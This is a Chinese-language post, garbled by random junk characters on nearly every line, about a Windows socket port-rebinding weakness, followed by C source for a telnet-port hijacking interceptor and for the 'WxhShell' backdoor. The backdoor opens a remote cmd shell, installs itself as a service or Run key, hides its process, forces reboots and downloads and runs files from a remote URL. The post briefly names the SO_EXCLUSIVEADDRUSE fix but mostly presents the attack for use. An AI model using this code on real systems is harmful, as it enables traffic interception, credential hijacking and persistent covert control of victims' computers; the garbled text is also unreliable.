在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
O5$/55PI s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
m'P1BLk
J)P$2# saddr.sin_family = AF_INET;
JJ;[, zi`b2h saddr.sin_addr.s_addr = htonl(INADDR_ANY);
rSXh;\MfB4 m_?d=o
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
06$!R/K ST\$= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
C<KrMRWh^ (Yp+bS(PU* 这意味着什么?意味着可以进行如下的攻击:
%K(<$! pw7[y^[Qg 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
TIp:FW[ -@T/b$]'n 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
zSo)k~&[3 Q+4Xs.# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
T,|
1g6 _g1b{$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
r.4LU Cmc3k,t 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
foJdu+^ ,9WBTH8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
sR/b$j>i3 O'Js} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
W6On93sa 9Xx's%U #include
m(pE5B( #include
()~pY!)1/ #include
7S?4XyU/o #include
\[Z?& DWORD WINAPI ClientThread(LPVOID lpParam);
`rf_7 int main()
+$oF]OO {
]\7]%( WORD wVersionRequested;
z5)s/;Sc DWORD ret;
^Z:~91Tv-_ WSADATA wsaData;
jDQZQ NS BOOL val;
^ f# FI& SOCKADDR_IN saddr;
os/vtyP:a SOCKADDR_IN scaddr;
,o)d3g-&g int err;
%-d]X{J: SOCKET s;
76u&EG% SOCKET sc;
T49zcJf; int caddsize;
g!-,] HANDLE mt;
4;2< ^[M DWORD tid;
rETRTp0HT wVersionRequested = MAKEWORD( 2, 2 );
cJ54s} err = WSAStartup( wVersionRequested, &wsaData );
#dM9pc jh if ( err != 0 ) {
P2bZ65>3y printf("error!WSAStartup failed!\n");
Mn)@{^ return -1;
mdRU^n }
jQ:OKh<Y saddr.sin_family = AF_INET;
d/i`l* I1PuHf Qs //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
=}.EY iD m9/}~Y#k saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
m=YU2!Mb saddr.sin_port = htons(23);
qK)73eNSR if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
DZi!aJ {
o865(<p printf("error!socket failed!\n");
5}`_x+$%(` return -1;
_-EyT }
3YVi"
k?2 val = TRUE;
-|E!e.^7: //SO_REUSEADDR选项就是可以实现端口重绑定的
OoWyPdC+P if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
$sEy%- {
'Fmvu printf("error!setsockopt failed!\n");
o<N nV return -1;
Y.*y9)#S6 }
/iX+ R@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0{=`on; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
,T2G~^0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
*8LMn 7}X[
4("bB if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
3D2E?$dX {
U~pV) J ret=GetLastError();
P>Ez'C printf("error!bind failed!\n");
J>\B`E return -1;
92EWIHEWZ }
Zl*X?5u listen(s,2);
B[KJR?> while(1)
7AObC4 g {
mya_4I
m caddsize = sizeof(scaddr);
;Rv!k&Df //接受连接请求
/kfgx{jZ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
['T:ea6B if(sc!=INVALID_SOCKET)
JYTP
2 {
Y./2Ely mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
JfR%L q~ if(mt==NULL)
92 [;Y {
3\B>lKhQ printf("Thread Creat Failed!\n");
2RX!V@z.G break;
sQ
fFu }
YGrg }
zRyuq1Zyc, CloseHandle(mt);
vMS
|$L }
<kCU@SK closesocket(s);
3? HhG WSACleanup();
UXdUO@ return 0;
h@[R6G| }
(2=Zm@Zpf DWORD WINAPI ClientThread(LPVOID lpParam)
kO}AxeQ {
.,OVzW SOCKET ss = (SOCKET)lpParam;
s D=n95`v SOCKET sc;
9M:O0) s unsigned char buf[4096];
9T1ZL5 SOCKADDR_IN saddr;
u,UmrR long num;
|]c8jG\h DWORD val;
DK$s&zf DWORD ret;
Qc pm! //如果是隐藏端口应用的话,可以在此处加一些判断
R;j!}D!4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(JM5`XwM
saddr.sin_family = AF_INET;
!7kG!)40 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(_"*NY0 saddr.sin_port = htons(23);
T7#W0^tj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f`;j:O {
uB]b}"+l printf("error!socket failed!\n");
VSSu&Q return -1;
Ba!J"b] }
s#WAR]x0x val = 100;
bLwAXW2K+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
iB498t {
3J5!oF{H ret = GetLastError();
^3UGV*Ypk return -1;
2'W<h)m)z }
>Vwc3d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hK_LEwd; {
<?@NRFTe ret = GetLastError();
3h *!V6%q return -1;
@WVcY:1t# }
sn)3ZA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6=fSE=]DY {
EUxG Aj$- printf("error!socket connect failed!\n");
@g&ct>@y closesocket(sc);
c|#8T*`C closesocket(ss);
eY| return -1;
z[3L2U~6 }
sL\L"rQN6 while(1)
lhBT@5Dm9 {
pNKhc#-w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
#n#@fAY //如果是嗅探内容的话,可以再此处进行内容分析和记录
/|D*w^> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Ym =FgM\ num = recv(ss,buf,4096,0);
3 yB!M if(num>0)
6e[VgN-s send(sc,buf,num,0);
lw<c2C else if(num==0)
[@5Ytv H break;
;<(W% _ num = recv(sc,buf,4096,0);
sk=-M8;\ if(num>0)
|v$JCU3!A send(ss,buf,num,0);
#3+!ee27# else if(num==0)
TL}++e
7+ break;
(G[
*|6m }
)3>hhuaa closesocket(ss);
{qN 5MsY closesocket(sc);
%'X[^W return 0 ;
D"a~#^ }
|\7
ET[Xq :>Ay^{vf= L2[f]J% ==========================================================
%@6}GmK^ n\^Tq<] a 下边附上一个代码,,WXhSHELL
N19({0+i2 <y?r!l=Am ==========================================================
/\4'ddGU .%L?J E #include "stdafx.h"
jbS\vyG &M.66O@ #include <stdio.h>
DF*:_B) #include <string.h>
;n&t>pBM #include <windows.h>
OHhsP}/ #include <winsock2.h>
d2H|LMhJ #include <winsvc.h>
T Kg aV;92 #include <urlmon.h>
rV T{90, i}B2R$Z3 #pragma comment (lib, "Ws2_32.lib")
-@0GcUE:r #pragma comment (lib, "urlmon.lib")
x3o]U)^ 9f<MQ6_UU #define MAX_USER 100 // 最大客户端连接数
}<9cL' #define BUF_SOCK 200 // sock buffer
tF{D= ;G #define KEY_BUFF 255 // 输入 buffer
/assq+H {/
BT9|LI #define REBOOT 0 // 重启
qLB)XnQ #define SHUTDOWN 1 // 关机
Ht&:-F+dm osX8eX]\ #define DEF_PORT 5000 // 监听端口
B>0].CK` gk0( ANx #define REG_LEN 16 // 注册表键长度
fmb} 2h #define SVC_LEN 80 // NT服务名长度
"HDcmIXg& mqSQL}vR // 从dll定义API
^h"`}[+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
?'KL11@R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]Ccg`AR{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4UW_Do typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#0y)U;dA+w XYZ4TeW\1 // wxhshell配置信息
+O*/"]h struct WSCFG {
+7=K/[9p int ws_port; // 监听端口
z<##g char ws_passstr[REG_LEN]; // 口令
mjKS{ int ws_autoins; // 安装标记, 1=yes 0=no
fvdU`*|n) char ws_regname[REG_LEN]; // 注册表键名
B(n{e53 9f char ws_svcname[REG_LEN]; // 服务名
CTZh0x char ws_svcdisp[SVC_LEN]; // 服务显示名
".<DAs j char ws_svcdesc[SVC_LEN]; // 服务描述信息
aPm`^
q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\xnWciQ#{ int ws_downexe; // 下载执行标记, 1=yes 0=no
^HqY9QT2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
v33dxZ' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1ke g9] &3TEfvz };
X ><?F|#7T +i@y@<l:+ // default Wxhshell configuration
4 Dw@r{ struct WSCFG wscfg={DEF_PORT,
mg$]QnbAnH "xuhuanlingzhe",
`CgaS# 1,
P dhEQ}H "Wxhshell",
s#)5h0t#du "Wxhshell",
<7j87 "WxhShell Service",
BA%pY|"Q "Wrsky Windows CmdShell Service",
'<ZlGFt'n "Please Input Your Password: ",
'gPzm|f|t@ 1,
iX2]VRNx l "
http://www.wrsky.com/wxhshell.exe",
5yzv|mrx "Wxhshell.exe"
'i4_`^:+ };
,Qe?8En[ tm#nU w // 消息定义模块
/Q2mMSK1h char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Q=/</| char *msg_ws_prompt="\n\r? for help\n\r#>";
:$m}UA-9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(}EB2V9Hh char *msg_ws_ext="\n\rExit.";
L.jh char *msg_ws_end="\n\rQuit.";
|ayVjqJ* char *msg_ws_boot="\n\rReboot...";
}l],.J\BGX char *msg_ws_poff="\n\rShutdown...";
&iA?+kV char *msg_ws_down="\n\rSave to ";
vA]W|sLF9 q gLaa char *msg_ws_err="\n\rErr!";
Pl"Nus char *msg_ws_ok="\n\rOK!";
s0k`p<q d\
1Og\U|A char ExeFile[MAX_PATH];
qT`k*i? int nUser = 0;
%Ntcvp) HANDLE handles[MAX_USER];
;I}kQ!q int OsIsNt;
q(.:9A*0 b;cdIl!3 SERVICE_STATUS serviceStatus;
!,Va(E|= SERVICE_STATUS_HANDLE hServiceStatusHandle;
X@LRsg -/ g B|J // 函数声明
GJtZ&H int Install(void);
&'}RrW-s int Uninstall(void);
17G'jiYH int DownloadFile(char *sURL, SOCKET wsh);
znaUB v_ int Boot(int flag);
^ml'? void HideProc(void);
#7q7PYG4 int GetOsVer(void);
lMg+R<$~I int Wxhshell(SOCKET wsl);
j+["JXy void TalkWithClient(void *cs);
@++.FEf int CmdShell(SOCKET sock);
1M
781 int StartFromService(void);
ZGYr$C~ int StartWxhshell(LPSTR lpCmdLine);
sSi6wO$ Ft;^g3N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
f'VX Y- VOID WINAPI NTServiceHandler( DWORD fdwControl );
i-6F:\; +E.GLn2/ // 数据结构和表定义
<oX7P69 SERVICE_TABLE_ENTRY DispatchTable[] =
!WpBfd>v.I {
h >s!K9 {wscfg.ws_svcname, NTServiceMain},
}Hxd*S {NULL, NULL}
4bn(zyP };
HY%i`]4X C@L$~iG // 自我安装
,~OwLWi-|X int Install(void)
kT'u1q$3Vo {
0QOBL'{7) char svExeFile[MAX_PATH];
W^]3XJP HKEY key;
'zGo?a strcpy(svExeFile,ExeFile);
s#tZg 0iwZT&O // 如果是win9x系统,修改注册表设为自启动
^k#P5oV if(!OsIsNt) {
_J?
Dq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lo,$-bJ,<, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
h_T7% #0 RegCloseKey(key);
%]8qAtV^3j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%+K<<iyR| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|>JS!NM
I RegCloseKey(key);
Wu_kx2h return 0;
Dqe^E%mc }
:"IE }
\8 h;K>=h }
iMP]W_ else {
^WNrGF [ zEUH:9D // 如果是NT以上系统,安装为系统服务
)_i
qAqkS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
vbD{N3p)?n if (schSCManager!=0)
YGPy@-,E {
7El[ > SC_HANDLE schService = CreateService
~(IB0=A{v (
i2&ed_h<? schSCManager,
t{WzKy wscfg.ws_svcname,
O2BDL1o wscfg.ws_svcdisp,
LM-J !44 SERVICE_ALL_ACCESS,
hijgF@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
8qEVOZjV& SERVICE_AUTO_START,
P}TI
q# SERVICE_ERROR_NORMAL,
mHBnC&-/ svExeFile,
T<w5vqFDu NULL,
qAS qscO NULL,
uec!RKE NULL,
|Clut~G NULL,
f'aVV! NULL
D*F4it. );
D6Goa(!9d if (schService!=0)
Ffv`kn@ {
PUBWZ^63 CloseServiceHandle(schService);
-!N&OZ+R
CloseServiceHandle(schSCManager);
0Emr<n strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
P5#r,:zL strcat(svExeFile,wscfg.ws_svcname);
F>-B3x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.G)(0z("s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
-:Ia^{YN RegCloseKey(key);
'=G|Sq^aO return 0;
f/Hm{<BY
}
0;:.B
j }
Wr3mQU CloseServiceHandle(schSCManager);
[I$BmGQ }
\e'R@ }
<p\6AnkMr YJ;j x0 return 1;
Eg2[k.{P }
MF'$~gxo t$xY #: // 自我卸载
v%s`~~u%^ int Uninstall(void)
krC{ed {
Y<Xz
wro0 HKEY key;
r]l!WRn W81E!RyP` if(!OsIsNt) {
OZTPOz. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l#H#+*F RegDeleteValue(key,wscfg.ws_regname);
])
rrG/3 RegCloseKey(key);
'iGzkf}j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$;/}?QY( RegDeleteValue(key,wscfg.ws_regname);
*IY*yR6 RegCloseKey(key);
W'.s\e?gh return 0;
>b6-OFJx }
k?z98 >4 }
a(9L,v#? }
A%D7bQ else {
b r^_'1 Zuw?58RE\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
AQ+]|XYo_ if (schSCManager!=0)
_-9@qe {
9v}G{mQ# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;M_o)OS3 if (schService!=0)
S`"LV $8 {
]"1`+q6i if(DeleteService(schService)!=0) {
I-WhH>9 CloseServiceHandle(schService);
0em#-*|2" CloseServiceHandle(schSCManager);
KA){''>8 return 0;
& M~`:R }
LF~*^n> CloseServiceHandle(schService);
yfx7{naKC` }
e|p$d:#! CloseServiceHandle(schSCManager);
USVqB\# }
KTn}w:+B\ }
8ZKo_I\
h|h>u
^@ return 1;
3v
mjCm }
)Jk0v_ X mXUGe:e8 // 从指定url下载文件
q@@T]V6 int DownloadFile(char *sURL, SOCKET wsh)
6q]5Es< {
72X0Tq 4 HRESULT hr;
'{J&M|<A char seps[]= "/";
<YOLx R char *token;
AjT%]9
V? char *file;
Xy@7y[s] char myURL[MAX_PATH];
1 29q`u; char myFILE[MAX_PATH];
=9z[[dQ|L e#Z$o($t strcpy(myURL,sURL);
( @3\`\X token=strtok(myURL,seps);
tX@_fYb while(token!=NULL)
F8uNL)gKj) {
kH4Ai3#g file=token;
E/09hD Q token=strtok(NULL,seps);
"bm }
UQ +?\wi* cFJ-Mkll GetCurrentDirectory(MAX_PATH,myFILE);
8:#rA*Y strcat(myFILE, "\\");
1XnZy5fEo strcat(myFILE, file);
-,+q#F send(wsh,myFILE,strlen(myFILE),0);
CWNx4)ZGw send(wsh,"...",3,0);
8S<@"v hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B?)@u|0 if(hr==S_OK)
6X\ 2GC9 return 0;
=Apxdnz, else
66'?&Xx' return 1;
:J:,m g =2Rqi5 }
g*F '[Z." /-qxS <?o // 系统电源模块
:LQ5u[g$\ int Boot(int flag)
h~(D@/tB {
!O#dV1wAa HANDLE hToken;
{fEwA8Ir TOKEN_PRIVILEGES tkp;
lr{?"tl_ '/$d0`3B> if(OsIsNt) {
,N
e;kI OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
^RP)>d9Xp{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
DZv=\<$,LF tkp.PrivilegeCount = 1;
[ e8x&{L-_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|<Gl91 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]ZoD'-, if(flag==REBOOT) {
`d[1`P1i[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
*JaqTI,e return 0;
Qhw^S* }
%<\6TZr else {
!Yw3 d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
TD9;kN1` return 0;
Xu>r~^w=S }
r)1'ePI" }
WJ
d%2pO] else {
s-RQMK}H if(flag==REBOOT) {
w,Lvt
} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
OKP9CLg9
return 0;
q-rB2 }
%rF?dvb;? else {
{XWZ<OjG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
k~/>b~.c return 0;
RiTa \ }
t(+)# }
Ik[s _9?I A return 1;
sU!6 hk }
XgxX.`H7 4_UU<GEp // win9x进程隐藏模块
`D":Q=: void HideProc(void)
|8.(XsN {
t2V0lyeL `$~RxzZ g HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Fk6x<^Q<w if ( hKernel != NULL )
JGFt0He] {
=fYL}m5E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PT^c^{V ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
d @*GUmJ FreeLibrary(hKernel);
@_"9D y Y% }
O4g+D#Lu s
(0* return;
1O!/g }
DEw8*MN s%!`kWVJ. // 获取操作系统版本
v @O&t4 int GetOsVer(void)
V=X:= {
; h`0ir4[A OSVERSIONINFO winfo;
)m&U#S _; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
H%1$,]F GetVersionEx(&winfo);
Maqf[
Vky if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
p)=~% 7DV return 1;
tdEnk.O else
37q@rDm2 return 0;
~+H"
-+ }
-wv6s#"u .p ls! // 客户端句柄模块
VN'Wq7>6 int Wxhshell(SOCKET wsl)
W>=o*{(YO {
M@(^AK{mU SOCKET wsh;
K YkS9_yF struct sockaddr_in client;
i `0v#P DWORD myID;
t9_E$w^U mCz,2K|^~ while(nUser<MAX_USER)
ph}j[Co {
8$c bVMjh int nSize=sizeof(client);
kwud?2E wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7P B)'Wl"6 if(wsh==INVALID_SOCKET) return 1;
3s:%2%jVK =X!IHd0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
KT.?Xp:z if(handles[nUser]==0)
;@nFVy>U closesocket(wsh);
$LHa?3 else
;oNhEB:F nUser++;
gUR]{dq^' }
LrCk*@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'&FjW-`"
G 7Mx6 return 0;
+"ueq }
,zQOZ'^ M('d-Q{B7L // 关闭 socket
`Ci4YDaz;k void CloseIt(SOCKET wsh)
fRvAKz|rL {
kL90&nP closesocket(wsh);
#RMI&[M nUser--;
2`a
q**} ExitThread(0);
$ C0TD7= }
=1oNZKBP `T2 <<< // 客户端请求句柄
J RPSvP\ void TalkWithClient(void *cs)
+y#T?!jQYj {
O%f8I'u$ [,~TaP}m SOCKET wsh=(SOCKET)cs;
-/D|]qqHm char pwd[SVC_LEN];
.la&P,j_L char cmd[KEY_BUFF];
`aqrSH5^h char chr[1];
MqKye8h9f int i,j;
{S<>&?XB 8yWoPm<A while (nUser < MAX_USER) {
%>WbmpIyc e9^2,:wLB if(wscfg.ws_passstr) {
1P]de'-`j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
J.RAmU < //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'(#g1H3 //ZeroMemory(pwd,KEY_BUFF);
S :8OQI i=0;
v8I{XU@% while(i<SVC_LEN) {
ibdO*E nPkZHIxuD // 设置超时
&*&?0ov^" fd_set FdRead;
Q0{z).&\(e struct timeval TimeOut;
tJ=di5& FD_ZERO(&FdRead);
. -"E^f FD_SET(wsh,&FdRead);
(shK TimeOut.tv_sec=8;
~"!a9GZ TimeOut.tv_usec=0;
@-#T5? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
O4No0xeWo if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|c2v%'J2G 8@M'[jT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
N8!TZ~1$ pwd
=chr[0]; vtMJ@!MN;
if(chr[0]==0xd || chr[0]==0xa) { ]]cYLaq(
pwd=0; eeUp 1g
break; ze'.Y%]
} fA^7^0![
i++; 5]jIg<j
} `BnP[jF
l9/:FiJ_
// 如果是非法用户,关闭 socket 137Xl>nO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b>~RSO*
} XNH4==4
>!9h6BoGV
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;t]|15]u
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?A7Yk4Y.?N
c[0oh.
while(1) { -)<mS
~H[%vdR
ZeroMemory(cmd,KEY_BUFF); ., :uZyG
_1jw=5^P\i
// 自动支持客户端 telnet标准 nDlO5 pe"d
j=0; IbWPlbH
while(j<KEY_BUFF) { vN{-?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `ycU-m==
cmd[j]=chr[0]; }r2[!gGd%|
if(chr[0]==0xa || chr[0]==0xd) { ~F#A
Pt
cmd[j]=0; OCHm;
break; wH!#aB>kP
} bj"z8 kP
j++;
m1.B\~S3
} &-GuKH(Y<
(G4'(6
// 下载文件 $Kq<W{H3ut
if(strstr(cmd,"http://")) { B;-2$
77
send(wsh,msg_ws_down,strlen(msg_ws_down),0); c6b0*!D"}
if(DownloadFile(cmd,wsh)) ZM~`Gd9K0E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); el'j&I
else 98*x 'Wp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); acOJ]]
} Dw |3Z
else { \]Z&P,}w
67J*&5? |
switch(cmd[0]) { w{'2q^>6*
2z983^
// 帮助 '@:[axu
case '?': { {rPk3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d.pp3D9/
break; Q
@2(aR
} A/Khk2-:
// 安装 wO"GtVd
case 'i': { i<u9:W
if(Install()) y3yvZD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G[q9A$yw
else 0RyFv+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yx0Q+Sm1:
break; O3!d(dY=_
} K&UE0JO'
// 卸载
#[ :w
case 'r': { M}!A]@
if(Uninstall()) 3cu9[~K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PV,"-Nv,
else JIUtj7HQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~tNY"{OV#
break; b|ZLX:
} G+yL;G/
// 显示 wxhshell 所在路径 lA{(8sKN
case 'p': { 8X~h?^Vz
char svExeFile[MAX_PATH]; /Dw@d,&[
strcpy(svExeFile,"\n\r"); b%nkIPA
strcat(svExeFile,ExeFile); 9bEM#Hj
send(wsh,svExeFile,strlen(svExeFile),0); VD#!ztcY'
break; bag&BHw
} pGGV\zD^
// 重启 O3ZM:,.
case 'b': { Za!w#j%h
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1D$::{h
if(Boot(REBOOT)) d_iY&-gq/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J v<$*TVS0
else { Ofm5[q=
closesocket(wsh); >h[(w
ExitThread(0); sA\L7`2H
} M@O2
WB1ws
break; sPpS~wk*
} |yAK@Hl'
// 关机 9-G b"hr
case 'd': { aQmfrx
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u&SZlkf6%
if(Boot(SHUTDOWN)) k2OM="Ei}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y#bK,}
else { jvO3_Zt9
closesocket(wsh); hrT%XJl
ExitThread(0); QSmJ`Bm
} ]-KV0H
break; @,YlmX}
} fN0bIE
Y
// 获取shell BVAr&cu
case 's': { RH=$h! 5
CmdShell(wsh); O3+)qb!X
closesocket(wsh); Bj&_IDs4
ExitThread(0); ru(J5+H
break; SKJW%(|3
} Q)+Y}
// 退出 \[k%)_
case 'x': { l% |cB93
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C.HYS S
CloseIt(wsh); k<, u0
break; &GU@8
} /p}{#DLB
// 离开 L"^.0*X/d
case 'q': { ~T&%
VvI
send(wsh,msg_ws_end,strlen(msg_ws_end),0); (!ZV9S
closesocket(wsh); L1F###c
WSACleanup(); g 9|qbKQ:[
exit(1); xDLMPo&
break; SJOmeN}4)
} *pK lA&_
} Oh-Fp-v87
} H%cp^G
yXXvs'$R \
// 提示信息 Q^|6J#o[9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @9<S*
} t]r7cA
} v\'rXy
H1C%o0CPY
return; Me<du&
T
} \KNdZC?V2
r!~(R+,c
// shell模块句柄 X
[!X>w&z|
int CmdShell(SOCKET sock) .c: )Qli
{ pEkOSG
STARTUPINFO si; yFi6jN#~
ZeroMemory(&si,sizeof(si)); *0-v!\{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &!6DC5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T|!D>l'
PROCESS_INFORMATION ProcessInfo; .
Jb?]n
char cmdline[]="cmd"; 2pjW,I!`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O!yakU+
return 0; r/^tzH's
} &:q[-K@!
\.kTe<.:_
// 自身启动模式 ;*.(.
int StartFromService(void) w'|&5cS
{ +!Q!m 3/I
typedef struct E;xMPK$
{ TMNfJz
DWORD ExitStatus; bSY;[{Kl
DWORD PebBaseAddress;
*[VEF
DWORD AffinityMask; PK_Fx';ke^
DWORD BasePriority; Y=3X9%v9g
